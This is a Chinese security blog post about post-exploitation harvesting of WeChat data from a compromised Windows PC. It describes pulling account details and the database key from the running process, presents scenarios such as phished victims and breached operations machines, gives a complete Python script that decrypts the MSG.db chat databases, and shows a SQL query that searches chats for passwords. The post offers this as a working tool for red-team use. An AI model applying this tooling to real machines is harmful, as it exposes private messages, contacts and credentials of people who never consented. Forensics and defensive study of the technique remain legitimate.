以下文章来源于NearSec ,作者AdminTest0
0x00 来了
最近弄了一些乱七八糟的东西,突然发现很久没有更新文章了,正好HVV临近,象征性更新一下,毕竟半年才更一次,属实太过分了。
PS:后面会缩短更新时间
师傅们都碰到过一个问题:
通过钓鱼/渗透/XX方式控制了目标的电脑权限,如何才能获取到更有价值的信息,更好的开展下一步工作呢
答:众所周知,WX在个人社交、日常办公、XXXX中已经必不可少,所以比较容易被关注到
场景:不管是XX工作需要取证、还是HVV工作需要更多有价值的信息,相对来说都是比较快准狠的方式
所以想水一篇文章:关于WX个人信息与聊天记录的取证工作
学习地址[会不定期更新](能用就行):
https://github.com/AdminTest0/SharpWxDump
问:为啥要不定期更新?
答:因为PC端WX每迭代一次新版本,偏移都会改变,都需要重新获取,所以需要不定期更新对应版本的偏移地址,有兴趣的师傅可以交流一下
利用场景:
钓鱼攻击(通过钓鱼控到的机器通常都是登录状态,可诱骗登录)
渗透到运维机器(有些运维机器会日常登录自己的微信,可蹲)
某些工作需要取证(数据库需要拷贝到本地慢慢弄)
自行备份(日常备份自己留存)
等等...............
利用前提:需要处于登录状态
1. 如果没有运行,会提示
2. 如果运行了,但是没有登录,会提示错误原因(因为实战中会有各种各样的错误,中文在CS中会乱码,所以这里用的英文翻译)
3. 如果用户登录了WX,直接执行即可获取:进程ID/当前版本/昵称/账号/手机号码/邮箱/数据库密钥,目前所有正式版本都可以(能用就行)
差异:
版本 < 3.7.0.30,运行但不登录:能获取到;
版本 > 3.7.0.30,运行但不登录:获取不到;
原因:
版本 < 3.7.0.30,都是从AccInfo.dat文件中获取;
版本 > 3.7.0.30,修复了AccInfo.dat文件中存储个人信息(因为之前可以离线读取);
离线获取,差异对比(左旧右新)
在线获取,差异对比(上旧下新),登录后都能获取,但新版已经获取不到邮箱了
1. wxid_xxxxxxxx一般都在文档目录下,作为存储目录,下载对应的聊天记录文件到本地
文件位置:
关于聊天记录文件:MSG.db,超出240MB会自动生成MSG1.db,以此类推
wxid_xxxxxxxxMsgMultiMSG0.db > 聊天记录 wxid_xxxxxxxxMsgMultiMSG1.db > 聊天记录 wxid_xxxxxxxxMsgMultiMSG2.db > 聊天记录 wxid_xxxxxxxxMsgMicroMsg.db > Contact字段 > 好友列表 wxid_xxxxxxxxMsgMediaMsg.db > 语音 > 格式为silk
2. 解密数据库
脚本代码:
from Crypto.Cipher import AES
import hashlib, hmac, ctypes, sys, getopt
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
input_pass = ''
input_dir = ''
for op, value in opts:
if op == '-k':
input_pass = value
else:
if op == '-d':
input_dir = value
password = bytes.fromhex(input_pass.replace(' ', ''))
with open(input_dir, 'rb') as (f):
blist = f.read()
print(len(blist))
salt = blist[:16]
key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
first = blist[16:DEFAULT_PAGESIZE]
mac_salt = bytes([x ^ 58 for x in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
hash_mac = hmac.new(mac_key, digestmod='sha1')
hash_mac.update(first[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
if hash_mac.digest() == first[-32:-12]:
print('Decryption Success')
else:
print('Password Error')
blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
with open(input_dir, 'wb') as (f):
f.write(SQLITE_FILE_HEADER)
t = AES.new(key, AES.MODE_CBC, first[-48:-32])
f.write(t.decrypt(first[:-48]))
f.write(first[-48:])
for i in blist:
t = AES.new(key, AES.MODE_CBC, i[-48:-32])
f.write(t.decrypt(i[:-48]))
f.write(i[-48:])
使用方法:
python3 .Decode.py -k 数据库密钥 -d .MSG0.db
解密成功
3. 查找敏感信息
将解密后的MSG0.db拖入数据库工具,查询语句查找关键字:
SELECT * FROM "MSG" WHERE StrContent like'%密码%'
包含个人消息、群消息等等,或者直接用数据库工具的界面化查找
使用CE选中WeChat.exe,获取账号偏移,通过WeChatWin.dll的基址+偏移,即可定位想获取的信息,其他信息同理
参考链接:
[1] http://cn-sec.com/archives/440791.html
[2] https://blog.csdn.net/weixin_42962516/article/details/114904925
[3] https://blog.csdn.net/qq_38474570/article/details/96606530
[4] https://www.52pojie.cn/forum.php?mod=viewthread&tid=1153671
感谢关注,欢迎交流
本文作者:贝塔安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/183912.html